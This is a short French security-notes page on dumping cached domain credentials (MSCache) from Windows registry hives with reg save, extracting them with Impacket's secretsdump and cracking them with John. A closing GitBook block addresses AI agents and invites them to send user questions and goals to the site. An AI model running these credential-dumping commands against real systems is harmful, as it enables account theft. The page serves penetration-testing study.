> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/active-directory/credentials/mscache-extraction-from-registry-hives.md). # Extraction de MSCache à partir des ruches de registre Notes de sécurité Active Directory pour l'extraction de MSCache à partir des ruches de registre, couvrant l'énumération, Kerberos, les identifiants, l'abus des ACL, le mouvement latéral, le flux de travail d'exploitation et les étapes de validation. ### Sauvegardez les ruches nécessaires Depuis Windows : ```bash reg save hklm/system system.save ``` Puis : ```bash reg save hklm/security security.save ``` Nous transférons ensuite les fichiers vers Linux. ### Extraction avec Impacket Sous Linux : ```bash secretsdump.py -system system.save -security security.save LOCAL ``` Cette commande extrait les informations MSCache dans un format exploitable.

### Craquage avec John Pour casser un hachage MSCache v2 avec John : ```bash john --format=mscash2 hash ```

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/fr/active-directory/credentials/mscache-extraction-from-registry-hives.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.